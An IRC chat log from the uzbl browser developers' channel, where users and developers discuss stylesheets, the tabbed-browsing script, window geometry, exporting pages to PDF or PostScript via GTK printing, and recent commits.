17:16 < And1> uranther: These two and wait are all messages, or are there even more? Else I don't understand why there's a foreground-color in my statusbar, cause these three are specified on the very beginning of the default config.
17:16 < Dieterbe> hmm maybe tonight i'll look if i can run my own eggdrop or something from home
17:18 < lazzareth> Dieterbe, Also I added an option to push the tablist to the bottom of the window (under the uzbl status bar).
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17:19 < Dieterbe> lazzareth: now you just need an option to *integrate* it in the statusbar :evil:
17:19 < lazzareth> Dieterbe, Easy.
17:20 < uranther> And1, I'm not sure..
17:21 < lazzareth> But the only way to do that currently is replace the status_message. I wish there was an external_message or something similar reserved for use by external scripts :)
17:21 < uranther> yeah that would be nice'
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17:24 < uranther> And1, ooh. yeah they're in the config. and I think these are the only handlers/status messages we have for now
17:24 < And1> uranther: Ok, thanks.
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17:25 < lazzareth> Off-topic: Anybody else have a last.fm profile?
17:25 < And1> And another question. Can I tell uzbl not to use the defined gtk-theme or can I tell uzbl, which color to use for input fields? Also via stylesheet probably?
17:25 < lazzareth> And1, Yeah just change the input styles in the style sheet
17:25 < uranther> lazzareth, yeah check urantehr
17:25 < uranther> uranther*
17:26 < Dieterbe> lazzareth: MSG is reserved for "personal use"
17:26 < uranther> oh sry yeah I got them confused
17:26 < Dieterbe> lazzareth: http://www.last.fm/user/Dieter_be/
17:26 < lazzareth> Dieterbe, Well the "wait|recv|done
17:26 < And1> I tried to use my iceweasel-stylish-css, but I think it still isn't css, though I thought I removed all not-css lines: http://suckr.net/misc/informationoverflow.css
17:26 < lazzareth>  should be pushed into some other variable
17:27 < Dieterbe> lazzareth: why? that stuff is just a sample to show what you can do with MSG
17:27 < lazzareth> uranther, "Your musical compatibility with uranther is Medium"
17:27 < uranther> heh yea, my compatibility with Dieterbe is medium
17:27 < uranther> I think we had this discussion before
17:27 < uranther> i'm already friends with him
17:27 < lazzareth> "Your musical compatibility with DieterBe is Low"
17:28 < uranther> very low with duclare :(
17:28 < uranther> anyways, off to lunch
17:30 < And1> Hmm, even if I try my own www-stylesheet, just nothing changes in uzbl. Why not?
17:33 < scj> ugh, avenged sevenfold
17:36 < Dieterbe> scj: they are super :)
17:36 < scj> super awful :p
17:37 < Dieterbe> lazzareth: the way i see it , the "tab bar" is nothing more then a string which is updated regulary (and marked up with pango markup format), right? that might indeed simplify putting it in the statusbar
17:38 < lazzareth> Dieterbe, Oh theres no question about how easy it is to do just I didnt want to overwrite the "wait|recv|done" :P
17:39 < Dieterbe> lazzareth: hey wait a minute. you confused me there. done/wait/.. are put in status_message
17:40 < Dieterbe> lazzareth: now i don't remember what MSG is for. i guess this is our "reserved for home use" variable
17:40 < Dieterbe> lazzareth: in fact, once we're able to define misc custom variables, you could easily maintain a variable tab-bar or something, and put that in your statusbar
17:42 < lazzareth> Dieterbe, Perfect.
17:42 < Dieterbe> but we're not there yet AFAIK
17:42 < lazzareth> Well I've got time.. I've got paid work I should have been working on since friday :D
17:43 < lazzareth> I mean.. thats a bit of a contradiction of statements..
17:45 < And1> Does uzbl take geomety arguments, like e.g. most terminals? That would be nice. E.g. "uzbl -g 80x25+25+765" or somesuch.
17:47 < Dieterbe> And1: nope. it's somewhere on the todo howeverl
17:47 < And1> Ah ok. Well, it's good to hear that it will be there someday. ;)
17:47 < lazzareth> I would love to implement that into uzbl_tabbing and make it so each resize of the window snaps to the nearest font-size multiple.
17:48 < lazzareth> I've got some more reading to do in http://www.pygtk.org/pygtk2reference/ to make that happen though.
17:49 < Dieterbe> o_O
17:51 < ruskie> hmm been a while since I checked uzbl
17:52 < lazzareth> Found it http://www.pygtk.org/pygtk2reference/class-gtkwindow.html#method-gtkwindow--set-geometry-hints
17:53 < Dieterbe> lazzareth: i think what you wan is not really related to what And1 said.  i think what And1 said is about spawning a (standalone) uzbl instance with fixed geometry
17:53 < And1> Yup, I'm talking about floated windows with a fixed size and position.
17:54 < lazzareth> Valid point.. but I might investigate further for my own purposes.
17:56 < ruskie> anyone notice anything odd here: #set enbale_private = 0 #set disbale_scripts = 1 it's in the example config
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17:56 < Dieterbe> ruskie: are you using a recent version?
17:56 < ruskie> just checked out
17:56 < ruskie> from master
17:56 < ruskie> just looking at what I'll have to edit in the config
17:56 < Dieterbe> also, no i don't see anything odd. that looks perfectly feasbale to me
17:57 < ruskie> and noticed that in examples/config/uzbl/config
17:57 < ruskie> Dieterbe, run a spell check on it ;)
17:57 < ruskie> it's not bale it able
17:57 < ruskie> erm s/it/it's/
17:57 < Dieterbe> (it was a joke)
17:57 < Dieterbe> that's why i said feasbale, not feasible
17:57 < ruskie> yeah just noticed
17:57 < Dieterbe> :P
17:57 < ruskie> brain is on the fritz today
17:57 < lazzareth> Dieterbe, Spell it wright next time.
17:57 < ruskie> air pressure changes
17:58 < Dieterbe> lazzareth: lol yeah ;')
17:58 < lazzareth> Well night guys its 23:57 here.
17:58 < ruskie> so what happened with the separate instance stuff? I see there's a tabbed py script there
17:58 < lazzareth> Work tomorrow
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17:58 < Dieterbe> anyway, i thought i merged a patch for those typo's. guess i didn't :s
17:58 < Dieterbe> will fix that later
17:58 < lazzareth> ruskie, http://www.uzbl.org/wiki/uzbl_tabbed
17:58 < N30N> And1: You can have different configs that set the window size via js. then you'd just do uzbl -c 80_25_25_765.conf
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17:59 < Dieterbe> N30N: can you set the window size through js?? please share how!
17:59 < And1> N30N: Hmm, I've no clue how these javascript things work. :/
17:59 < lazzareth> Dieterbe, pop-ups back in the 90's use to do it all the time so its possible.
17:59 < Dieterbe> less theory, more practice ! :)
18:00 < ruskie> Dieterbe, with who can I chat about the tabbed script? it's missing one critical thing for my needs... tab position and tab width
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18:00 < lazzareth> Bah!, sleep time. Night guys.
18:00 < ruskie> well s/one/two/
18:00 < lazzareth> ruskie, Me
18:00 < ruskie> so you know my feature request then ;)
18:01 < holizz> Vote: should I attempt to do a lightening talk here at EuroPython on uzbl?
18:01 < Dieterbe> ruskie: talk to lazzareth and holizz . or patch it yourself :P
18:01 < ruskie> hmm though the old script seems more like what I want
18:01 < lazzareth> Im working on a tab title ellipsizer so that should be out soon (auto shrinks tab titles when they run out of room then they start scrolling)
18:01 < ruskie> is the old one still usable?
18:02 < lazzareth> ruskie, With gtk tabs?
18:02 < Dieterbe> holizz: i would only do it if you think it's relevant enough for a python crowd. if the very limited uzbl related python code is not much new, i wouldn't do it
18:02 < ruskie> lazzareth, useless to me ;) I prefer to have tabs on the right of the screen at 80width
18:02  * Dieterbe off to home
18:02 < lazzareth> ruskie, .. That is very interesting.
18:02 < And1> N30N: An example of how to do that would be great. =)
18:02 < ruskie> lazzareth, that's how I have kazehakase configured
18:02 < holizz> Dieterbe: Last year at PyConUK, Simon Willison delivered an amazing lightening talk on the subject of zeppelins.
18:02 < ruskie> and if I need to do vertical scroll
18:03 < lazzareth> ruskie, Well I can do that with a bit of changes & configuration.
18:03 < lazzareth> ruskie, Have a screenshot I can work to?
18:03 < ruskie> http://ruskie.codemages.net/scry/index.php/view/45/misc/screen2.png <-- this is my usually kazehakase config
18:03 < ruskie> so it's possible with gtk for sure
18:03 < holizz> Only problem is I don't have much experience doing presentations of any variety.
18:04 < ruskie> no clue though if pyGTK can do it
18:04 < ruskie> if you want I can make a full blown screenshot
18:04 < ruskie> but this seems like core gtk functionality
18:05 < ruskie> i.e. with a screenfull of tabs
18:05 < ruskie> no ellipsis or such just cut off at such and such point ;)
18:06 < lazzareth> ruskie, See if you can find anything on changing a notebooks tab positions in here http://www.pygtk.org/pygtk2reference/
18:07 < lazzareth> I win http://www.pygtk.org/pygtk2reference/class-gtknotebook.html#method-gtknotebook--set-tab-pos
18:08 < ruskie> yeah
18:08 < ruskie> just found it
18:08 < ruskie> and only need to set it scrollable to have it scroll once full ;)
18:09 < lazzareth> I'll add a "set gtk_tab_pos = (top|left|right|bottom)" to my uzbl_tabbed config when I get home from work tomorrow (unless you want to patch it for yourself right now)
18:09 < ruskie> naahh
18:09 < ruskie> I can wait easily ;)
18:09 < lazzareth> I've really got to get some sleep now though (i've had none all weekend)
18:09 < ruskie> go sleep
18:09 < ruskie> enjoy etc...
18:10 < ruskie> sorry to keep you ;)
18:10 < lazzareth> Quite alright.
18:11 < lazzareth> If you think of anything else you would like added just let me know.
18:11 < lazzareth> This feature request was terribly easy.
18:11 < ruskie> well width settable is the other one ;)
18:11 < ruskie> maybe ability to have numbers only instead of titles would be nice as well ;)
18:12 < ruskie> btw if this crashes does it take with it all the uzbl instances or nothing?
18:12 < lazzareth> ^^ Easy.
18:12 < lazzareth> All :D
18:12 < lazzareth> KILLING SPREE
18:12 < ruskie> :(
18:13 < ruskie> well go sleep
18:13 < lazzareth> Though if an individual tab seg-faults I dont think it takes out all of them
18:13 < ruskie> would be nice
18:14 < ruskie> though would be nice if the core didn't take them all as well
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18:17 < scj> what if it disowned the uzbl processes?
18:17 < ruskie> no clue if python can do that... I'm a bash person myself ;)
18:18 < ruskie> and there I know one can do that
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18:19 < cprussin> hey, does uzbl have a text mode?
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18:19 < cprussin> for the terminal?
18:20 < ruskie> don't think so
18:20 < ruskie> it needs gtk+2 for the widgets it displays
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18:20 < ruskie> maybe you could build it against cursedgtk and use it that way?
18:21 < ruskie> hmm not sure but I think there's also a way to use directfb for gtk2 as well so that's another option maybe
18:22 < cprussin> dammit
18:22 < cprussin> I didn't know it needed gtk :(
18:22 < cprussin> I was trying to get my system free of gtk and qt
18:23 < scj> text mode? O_o
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18:24 < cprussin> scj: no, I mean I wanted to use a more minimal toolkit
18:24 < cprussin> if any
18:25 < scj> try OWB
18:25 < ruskie> then use elinks ;)
18:25 < cprussin> haha, having trouble with elinks
18:25 < scj> cprussin: http://www.sand-labs.org/owb
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18:35 < lazzareth> ruskie, Happy birthday http://github.com/mason-larobina/uzbl/blob/80e271cabfc4b34a9883353e2d48344d6f33523b/examples/data/uzbl/scripts/uzbl_tabbed.py
18:35 < lazzareth> Now I'm really going to sleep.
18:35 < lazzareth>  set gtk_tab_pos = right
18:35 < lazzareth> set max_title_len = 80
18:36 < dxdx> hi lazzareth, in what timezone do you live?
18:36 < lazzareth> +8
18:36 < lazzareth> its 00:35 right now. Work in 5 hours.
18:36 < dxdx> oh, that explains everything, we're 11 hours apart (-3 here)
18:37 < lazzareth> For what its worth, good night.. again.
18:37 < bct> dxdx, -3? are you in the middle of the atlantic ocean?
18:37 < dxdx> bct: no, just in a part of america that shouldn't exist
18:38 < dxdx> (south)
18:38 < bct> aha
18:39 < bct> i'm in -7, i didn't think there were 4 zones between me and the east coast
18:39 < ruskie> *worship* lazzareth *worship*
18:39 < ruskie> though I'm far from done with feature requests ;)
18:41 < lazzareth> ruskie, Well if you think of anything else drop myself or holizz a line.
18:42 < ruskie> I'll badger you when you get back around here AFTER you had some decent sleep
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18:42 < lazzareth> That will be a few days away. Ill try cram 5 now though.
18:42  * lazzareth is gone
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18:42 < ruskie> no hurry ;)
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19:08 < Dieterbe> evening
19:10 < scj> sup
19:11 < Dieterbe> soup
19:12 < Dieterbe> holizz: well, we can't make the decision for you :0
19:13 < ruskie> hmm is it possible to grab the currently displayed page(as on screen) and export it to an external file(i.e. PDF, PS, DjVU etc?)
19:15 < N30N> ruskie: js window.print();
19:15 < ruskie> I guess PS export would work... and then that can be convorted out
19:15 < ruskie> N30N, isn't that print?
19:15 < ruskie> I want to avoid printing... just export...
19:15 < ruskie> sorta like netsurf has...
19:15 < N30N> print to a pdf file == export
19:16 < ruskie> requires a pdf printer
19:16 < scj> ruskie: print to file
19:16 < ruskie> I don't even install cups
19:16 < uranther> yeah don't you normally need a virtual printer for htat
19:16 < Rodya> ruskie, print to pdf = save as pdf
19:17 < N30N> ruskie: what do you want to use the conver the html then?
19:17 < N30N> *convert
19:18 < ruskie> hmm I'd need to check... I know netsurf has an export function that doesn't seem related to printing
19:18 < Dieterbe> N30N: you still need to show us how to set the window size through JS :)
19:18 < N30N> Dieterbe: oh soz, my connection died before
19:19 < ruskie> hmm there a way I can call that js window.print(); while running uzbl? just want to see what I'll get
19:19 < N30N> Dieterbe: it shoud work like this js window.resizeTo(600 /*width*/, 800 /*hieght*/);
19:20 < N30N> Dieterbe: but it dose not seem to work with uzbl yet
19:20 < ruskie> window modification shouldn't be allowed from js
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19:20 < ruskie> or atleast not from anywhere else but localhost ;)
19:20 < N30N> Dieterbe: there are lots of apps you can use to resize windows tho
19:21 < Dieterbe> right
19:21 < Dieterbe> ruskie: http://ruskie.codemages.net/albums/misc/screen2.png butt ugly imho :P
19:22 < ruskie> what exactly?
19:22 < ruskie> is ugly there
19:22 < scj> ruskie: bind :js = js %s
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19:23 < bct> whoa, sourcemage is still around?
19:23 < Dieterbe> ruskie: the gtk fonts, the "dock" lower right, and the fact that the dock overlaps the window like this, making something unreadable :)
19:24 < ruskie> bct, yeah
19:24 < ruskie> Dieterbe, nothing unreadable there
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19:25 < ruskie> yeah window.print takes way to much to do
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19:25 < ruskie> Dieterbe, only thing down there is the download status
19:25 < ruskie> and it's not dock... it's a pager ;)
19:26 < ruskie> as for the gtk fonts thats the same font that's used in Dungeons&Dragons books ;) Pterra.ttf
19:26  * ruskie wonders who bct is that knows Source Mage ;)
19:32 < ruskie> hmm Dieterbe is there any support for SSL certs/Cert selection etc yet in uzbl?
19:33 < Dieterbe> ruskie: no
19:34 < joyfulgirl> Dieterbe: Sorry about the spurious patch the other day, by the way! I guess I should've checked the other experimental branches.
19:35 < Dieterbe> joyfulgirl: i have no idea what you're talking about :)
19:35 < ruskie> hmm but generic https seems to work
19:35 < joyfulgirl> Dieterbe: Oh, I sent a minor patch to the ml, but it had already been fixed. *shrug*
19:35 < Dieterbe> joyfulgirl: the typo one?
19:36 < joyfulgirl> The cookies.py one
19:36 < Dieterbe> oh .. yeah
19:36  * Dieterbe food
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19:44 < ruskie> hmm netsurf does a print to pdf from what I can tell but they avoid the normal printers
19:45 < uranther> i'm sure it's something like Prince that converts html to pdf
19:45 < uranther> a script like this could easily be binded in uzbl
19:46 < madnificent> it could be cool to have an html -> pdf (or any widely supported printable format) in uzbl
19:46 < ruskie> plain ps would work for me
19:46 < madnificent> I guess it would work in most cases
19:46 < ruskie> then one can just feed that to any other ps2pdf etc...
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19:47 < ruskie> I don't understand the code netsurf uses but from what I can tell it somehow prints to pdf even if there is no pdf printer installed
19:47 < uranther> maybe if you can't find something packaged. I think there are these types of things for PHP/Perl/Python/Ruby
19:48 < uranther> pass the script the url..
19:48 < ruskie> might not be the same render as what I'm looking at
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19:48 < ruskie> this is the reason for wanting export
19:48 < uranther> some kind of "export" you're talking about would have to be supported in webkit
19:48 < ruskie> easy to do it with shellscripts... wget or curl -> {lynx,links,elinks,w3m} -dump
19:49 < ruskie> hmm is it possible to pass parameters to window.print() ?
19:49 < uranther> no
19:49 < ruskie> i.e. have it automatically print to ps?
19:49 < uranther> what exactly are you trying to do
19:50 < ruskie> get an export of the rendered page
19:50 < uranther> what is an export
19:51 < ruskie> I guess in this case it would be print to file as ps
19:51 < ruskie> avoiding everything else but naming the file and telling it where to put it
19:51 < madnificent> uranther: 'cmon, its clear that if that would work, that you'd be able to print to ps from javascript... that would solve the whole issue
19:51 < uranther> you can't do that in JS
19:51 < uranther> write a script to take html to pdf
19:51 < uranther> or use a program
19:52 < uranther> well, you can't do that in JS with print().. i'm sure you can assemble a PDF from the DOM. that would be fun
19:53 < madnificent> uranther: problem with writing it outside of webkit, is that the rendering may be off... it should be the same as webkit's approach
19:53 < uranther> then install a PDF printer
19:53 < ruskie> hmm maybe there would need to be a function in uzbl that allows doing this...
19:53 < uranther> no
19:53 < ruskie> directly
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19:53 < madnificent> uranther: yes, that was the whole point of the abovve discussion, letting that go automatically
19:53 < ruskie> i.e. just call print_to_ps
19:54 < uranther> so now you're suggesting uzbl supports its own pdf printer?
19:54 < ruskie> no
19:54 < ruskie> just supporting the regular printing stuff already in gtk
19:54 < ruskie> but bypassing printer selection and so on
19:54 < madnificent> uzbl could provide the direct printing to a pdf printer, if that printer was installed
19:54 < ruskie> or a way to directly call a specific printer
19:54 < madnificent> ruskie: I think you can do that in JS already
19:55 < madnificent> ruskie: at least, I was hinted to something similar on this channel (/msg me if you find out!)
19:57 < uranther> so all you're suggesting is that uzbl supports the GTK print dialog when window.print()
19:57 < uranther> this is completely different
19:58 < ruskie> window.print() already summons the print dialog
19:58 < ruskie> but it needs one to select the printer etc
19:58 < uranther> ok
19:58 < uranther> that's fine
19:58 < ruskie> I want a way to call up print($export_printer) -> get a dialog to save as file
19:59 < ruskie> basically select the print to file printer and ask me where to save it
19:59 < ruskie> skiping the manual selection by me
19:59 < uranther> submit a bug to bugzilla
20:01 < ruskie> I prefer to first see if the developers have any wish to implement such things before submitting bugs
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20:02 < ruskie> to many feature requests got wontfix or other similar state over the years
20:02 < uranther> it seems like a reasonable request to me. although i don't speak for all the developers
20:02 < uranther> a bug will be visible by everyone not in this IRC discussion
20:02 < ruskie> I'll file it but want to hear from Dieterbe about it first ;) if he says it's viable then that'll be a bug
20:04 < ruskie> infact a generic print(printer_name) would in general be a sensible idea for those that actually want to print direct to printer as well
20:05 < uranther> of course
20:05 < uranther> i don't know enough about the GTK Print API to know if this is possible
20:05 < ruskie> should be
20:06 < ruskie> atleast netsurf seems to be doing it that way somehow
20:07 < Dieterbe> i think implementing cups, though it is a standard, would be an overcomplication.  if there's an easy way to render ps files from the current page, then sure do that (though some websites will load other stylesheets when you click the print button, dunno how that works).
20:07 < Dieterbe> ruskie: ^^
20:07 < ruskie> don't think cups
20:08 < ruskie> gtk has it's own print api
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20:08 < ruskie> run: :js window.print(); in your uzbl instance ;)
20:08 < ruskie> it has a Print to file with ( ) PDF ( ) Postscript options
20:08 < Dieterbe> same story.  i much prefer the writing a ps document to file/stdout/socket. then you have the freedom to do what you want with it
20:09 < ruskie> I just want a way to avoid the print dialog
20:09 < ruskie> just enter the filename and hit save
20:09 < ruskie> and this is what this does
20:09 < ruskie> write a document to ps
20:10 < ruskie> and yeah don't want this linked to cups in any way
20:10 < ruskie> gtk provides the cups interface if needed
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20:13 < Dieterbe> scj: i'm making several small adjustments to your code.  you'll see when i've merged it and you diff
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20:23 < Dieterbe> scj: also what do we do with formfiller.pl ? get rid of it?
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20:28 < ruskie> http://library.gnome.org/devel/gtk/stable/gtk-High-level-Printing-API.html#gtk-print-operation-set-export-filename <-- Dieterbe seems to be what I want so the only thing needed would be a way to be able to call that from a bind
20:30 < ruskie> something like: bind :p* = export TYPE(currently only PDF but future thinking here) %s
20:30 < ruskie> or maybe page_export
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20:33 < scj> Dieterbe: alright. yeah, formfiller.pl is deprecated
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20:34 < Dieterbe> scj: merge from my new scj-formfiller branch
20:34 < Dieterbe> scj: and check out the diff first
20:34 < Dieterbe> scj: so you'll see the little things i changed
20:38 < Dieterbe> scj: and also, it just doesn't work for me, and unfortunately i don't have the time to debug it myself
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20:38 < Dieterbe> scj: when i do make test-dev i call it without arg, with new/edit/load and nothing seems to happen
20:38 < Dieterbe> hey rob|9 , welcome back mate
20:38 < rob|9> hey guys
20:38 < rob|9> hello dieter
20:39 < rob|9> what's new in uzbl land?
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20:40 < Dieterbe> uhm well.. lot's of changes i need to pull in :/
20:40 < Dieterbe> not much pulled in already i think since last thursday
20:40 < cdwillis> the new version of uzbl_tabbed.py is cool
20:41 < rob|9> hehe, so we keep you busy. that's a good thing ;)
20:41 < uranther> Dieterbe, were my bug fixes from a few weeks ago pulled in/
20:41 < Dieterbe> ruskie: oh yeah, and pretty damn fine looking tabbed version of uzbl :) (which i also need to pull in)
20:41 < Dieterbe> rob|9: ^^
20:41 < ruskie> lol
20:41 < scj> Dieterbe: ok, I'll look into it
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20:42 < Dieterbe> uranther: no, not yet
20:42 < uranther> oh ok
20:42 < Dieterbe> uranther: but as long as they show up on my network graph on github i won't forget
20:42 < uranther> cool :)
20:43 < Dieterbe> rob|: http://www.uzbl.org/wiki/uzbl_tabbed
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20:45 < rob|> ah, very cool
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20:52 < Dieterbe> scj: are you the same person as sscj ?
20:52 < scj> yes
20:54 < Dieterbe> scj: okay. then according to my logs, you were first to notice the typo's and hence, will be credited for them ^^
20:54 < scj> \o/
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20:57 < github> uzbl: Sylvester Johansson experimental SHA1-84d7728
20:57 < github> typos
20:57 < github> http://bit.ly/Z2lL9
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20:58 < ruskie> so Dieterbe is that export function a possibility then? considering I pointed out the API and all? or would I need ot figure out how to code it up and provide a patch?
20:58 < Dieterbe> ruskie: it doesn't look like exactly what we need. that was more an "export as pdf", not print as <...>
20:59 < Dieterbe> so it wouldn't be the perfect solution
20:59 < rob|> export as pdf?
20:59 < rob|> cant we just run the site through html2pdf?
20:59 < rob|> *site's source
20:59 < uranther> i guess ruskie wants a save dialog
21:00 < uranther> although that could also be wrapped in a script that calls html2pdf
21:00 < ruskie> Dieterbe, well you did say you prefered a save ps as file so that would work wouldn't it?
21:00 < And1> Can anyone tell me how to install latest dmenu with vertical patch on debian lenny?
21:00 < ruskie> rob|, would't get the same output as exporting/printing
21:01 < ruskie> rob|, anyway gtk has an export mode in the printing api
21:01 < Dieterbe> ruskie: no, this is what i said:
21:01 < Dieterbe> 20:08:47 < Dieterbe> same story.  i much prefer the writing a ps document to file/stdout/socket. then you have the freedom to do what you want with it
21:02 < Dieterbe> my idea would be you could run a command (print or something), but it would behave differently if you did it in uzbl itself, or throguh the fifo or socket
21:02 < Dieterbe> eg if you do it through the socket with uzblctrl, you should get the output from uzblctl's stdout
21:03 < ruskie> well couldn't you give the target to that export funciton that stdout/socket ?
21:04 < rob|> ruskie: regarding the output, does that printing api honour stylesheets made for printing or how would the output be different?
21:07 < ruskie> http://library.gnome.org/devel/gtk/stable/Printing.html <-- no clue
21:08 < ruskie> if I knew how to use it and how to code it up I'd make a patch
21:08 < ruskie> as is I can only request it as a feature and help with finding how to do it
21:08 < ruskie> and as I'm happy with export to pdf/ps(prefered) that would suit my needs sufficiently
21:11 < rob|> hmm, that seems to involve doing cairo magic
21:12 < rob|> i think handling printing outside of uzbl (like mutt does) would be most simple and flexible way, though
21:12 < Ralith> and there really shouldn't be more use of gtk than absolutely necessary
21:14 < rob|> right, i guess we could do the stylesheet magic and the exporting of the source with some java script and pass that on to an external application that does the printing
21:15 < ruskie> rob|, and how can you guarantee that the output would be the same as what's on screen?
21:16 < ruskie> and yes one can already do js window.print(); but I want to avoid having to select the Print to file -> select PDF or PS -> enter filename -> save... I only want -> export_page -> enter filename(ps or pdf pickup from the filename) -> save
21:16 < rob|> well, that's the job of the apllication that converts the html to the printing format
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21:18 < joyfulgirl> ruskie: does window.print take those options as arguments? If so, it should be pretty trivial to wrap...
21:18 < uranther> print takes no arguments afaik
21:18 < ruskie> joyfulgirl, yeah can't figure that bit out... if it can I'd be happy ;)
21:19 < rob|> ruskie: pseudo code:   bind print = spawn 'uzbctrl -s socket -c "print @<document.all[0].innerHTML>@" | print_app'
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21:20 < rob|> as of now actions don't use js substitution, though that will be added soon
21:20 < ruskie> and that would guarantee getting the exact content as seen?
21:21 < rob|> well, it would output the exact source as rendered by uzbl/webkit
21:21 < scj> well, the DOM at least. they layout might differ
21:21 < rob|> true..
21:23 < scj> also, if you want to use uzblctrl to get the html output, you have to do remove all \n from innerHTML
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21:24 < rob|> well, that should be a trivial task
21:25 < ruskie> http://library.gnome.org/devel/gtk/stable/GtkPrintUnixDialog.html <-- this is what get's called on window.print()
21:25 < rob|> scj: i bet there is a better way to handle that with js, i'm in now way js literate - just know the very basics
21:26 < rob|> s/now/no/
21:27 < scj> rob|: yeah, it's trivial, more of a gotcha when using uzblctrl
21:32 < Rodya> Is there anything special you have to do to get uzbl_tabbed to work?
21:32 < ruskie> launch it?
21:33 < Rodya> When I do python <path>/uzbl_tabbed.py I see a uzbl window for ~ 1 second, then it goes away with the messages: Listening on /tmp/uzbltabbed_29052 followed by Unlinked /tmp/uzbltabbed_29052
21:33 < ruskie> hmm
21:33 < ruskie> I got something similar
21:33 < ruskie> even when with --uri
21:34 < Rodya> It also leaves two socket files in my /tmp
21:34 < Rodya> Which, if I don't delete manually causes it to crash outright
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21:36 < github> uzbl: Brendan Taylor experimental SHA1-b1ae2b5
21:36 < github> don't segfault on 'set' without arguments.
21:36 < github> http://bit.ly/8UW0l
21:36 < github> uzbl: Brendan Taylor experimental SHA1-7980574
21:36 < github> use notify::title instead of title-changed signal
21:36 < github> http://bit.ly/2Me3bw
21:36 < github> uzbl: Brendan Taylor experimental SHA1-8f6067a
21:36 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into clean
21:36 < github> http://bit.ly/19FRQm
21:36 < github> uzbl: Brendan Taylor experimental SHA1-91dc10f
21:36 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into clean
21:36 < github> http://bit.ly/18OGZl
21:36 < github> uzbl: Brendan Taylor experimental SHA1-d2be1ec
21:36 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into clean
21:36 < github> http://bit.ly/hYyv0
21:36 < github> uzbl: Brendan Taylor experimental SHA1-1009c26
21:36 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into clean
21:36 < github> http://bit.ly/19Y95a
21:36 < github> uzbl: Dieter Plaetinck experimental SHA1-47023f2
21:36 < github> Merge commit 'bct/clean' into experimental
21:37 < github> http://bit.ly/G6lNB
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21:38 < github> uzbl: Dieter Plaetinck experimental SHA1-753dacc
21:38 < github> add bct to authors file
21:38 < github> http://bit.ly/38NWYL
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21:44 < And1> Any ideas, why my gtk-themes has a black fgcolor (on buttons and in input-fields) in uzbl (and iceweasel), but not in epiphany, nicotine, gmpc, ...?
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21:44 < uranther> epiphany might use its own color policy while webkitgtk uses the themes
21:45 < uranther> or vice versa..
21:45 < uranther> i never had real success using a dark theme for that reason
21:46 < And1> Hmm. :/  Could it also be, that sites' css could alos define this color?
21:46 < uranther> yea
21:46 < And1> That would also be shitty. :-x
21:46 < uranther> you could override that in the stylesheet tho
21:47 < And1> Yeah, but that doesn't work here. Don't know why, how can I find out?
21:47 < uranther> find out what?
21:48 < And1> Why uzbl won't display pages like it's given in my stylesheet, but just as they are.
21:48 < Dieterbe> bartman: please explain http://github.com/bartman/uzbl/commit/16025511c61c955866ffed039cc100c2f38658d5
21:48 < uranther> And1, try !important in your css?
21:49 < And1> uranther: I do. Maybe you want to have a look at this: http://suckr.net/misc/moep.css
21:50 < uranther> looks ok to me :/
21:50 < And1> Yeah... :/  It's almost the same as I use for my stylish-iceweasel-plugin, I had to remove the namespaces though. But now it's pure css.
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21:51 < uranther> do you only have problems with the form elements?
21:52 < And1> That's in my config: "set stylesheet_uri = http://suckr.net/misc/moep.css" -- Mh, what exactly do you mean? uzbl looks all the same when I run it with that line commented in or out, on several pages, it's not that I only tried google.de or something. :P
21:52 < uranther> Does your css apply to the other rules like body and paragraph text, and not on the form elements like input?
21:52 < And1> No, also not.
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21:53 < N30N> And1: you css file sets the text black. -> color: #000000 !important
21:53 < N30N> *your
21:53 < shinynew> has anyone else noticed two windows opening whenever there is a link that is supposed to open as a new window?
21:53 < uranther> N30N, with a light background
21:54 < And1> N30N: Naah, it's also black, when I comment the line out.
21:54 < N30N> you got lots of em ;)
21:54 < And1> Links are also colored "normal" in purple and so on...
21:55 < And1> So I'm very sure uzbl doesn't read or use my stylesheet.
21:56 < shinynew> so no one else has experinced the double window thing?
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21:58 < rob|> shinynew: that's a known bug, iirc there is a fix for it, though not applied yet (?)
22:01 < shinynew> rob|: Ah thank you
22:01 < shinynew> How do yall deal with easily opening new windows?
22:01 < shinynew> right clicking -> new window is kind of a pain in the ass
22:02 < Rodya> i just close one of the two that opens every time with a keyboard shortcut
22:03 < rob|> shinynew: tried this http://www.uzbl.org/wiki/middle_click_links ?
22:04 < shinynew> rob|: checking it out
22:05 < shinynew> rob|: thanks!
22:06 < N30N> And1: you css file dose only work if loaded locally
22:07 < N30N> mimetype's ok... hmmm
22:07 < And1> Mh, so I can also do "set stylesheet_uri = $HOME/.config/uzbl/style.css"?
22:07 < rob|> shinynew: sure thing
22:08 < N30N> And1: maybe file://$XDG_DATA_HOME/uzbl/style.css
22:09  * N30N loaded it from file:///tmp/foo.css :)
22:09 < shinynew> is anyone working on something like greasemonkey?
22:09 < And1> Ah, ok, hehe. =)
22:09 < shinynew> also does anyone know how hard it would be to configure some greasemonkey scripts by hand to work with uzbl?
22:09 < scj> shinynew: depends
22:09 < N30N> shinynew: you can already load srcipts fine
22:10 < N30N> shinynew: what aare you trying to do?
22:10 < shinynew> N30N: yes, but it would be nice if we could also easily install them
22:10 < scj> if you rely on gm_xmlhttprequest, you're SOL
22:10 < And1> N30N: Do I have to define $XDG_DATA_HOME or is it automagically /home/$USER/.config/?
22:11 < N30N> And1: just add em to load_commit_handler
22:11 < shinynew> N30N: I think in a bit I will look at some of my more useful ones and just hand configure them, but I think it would be interesting to make a python script or something that functions like greasemonkey i.e. 1 click install of scripts
22:11 < And1> N30N: Ok, thanks. :)
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22:11 < github> uzbl: Dequis experimental SHA1-b8f7687
22:11 < github> Read stdin only if --config is "-"
22:11 < github> http://bit.ly/C6JM3
22:11 < github> uzbl: Dequis experimental SHA1-bb52eaf
22:11 < github> Document stdin branch changes in README
22:11 < github> http://bit.ly/Ol0H9
22:11 < github> uzbl: Dieter Plaetinck experimental SHA1-de3bcfc
22:11 < github> Merge commit 'dequis/stdin' into experimental
22:11 < github> http://bit.ly/YH5G5
22:11 < github> uzbl: Dieter Plaetinck experimental SHA1-26fd9fe
22:11 < github> do not look for xdg config if we want to use stdin as config
22:12 < github> http://bit.ly/G9z76
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22:12 < N30N> And1: they will need editing tho
22:13 < Dieterbe> rob|: did you write http://www.uzbl.org/wiki/middle_click_links ? is this the way to go or is this more a hack
22:14 < N30N> Dieterbe: was me ;)
22:14 < Dieterbe> same questions
22:14 < And1> N30N: What you mean?
22:14 < rob|> well, i'd say it is one possible way
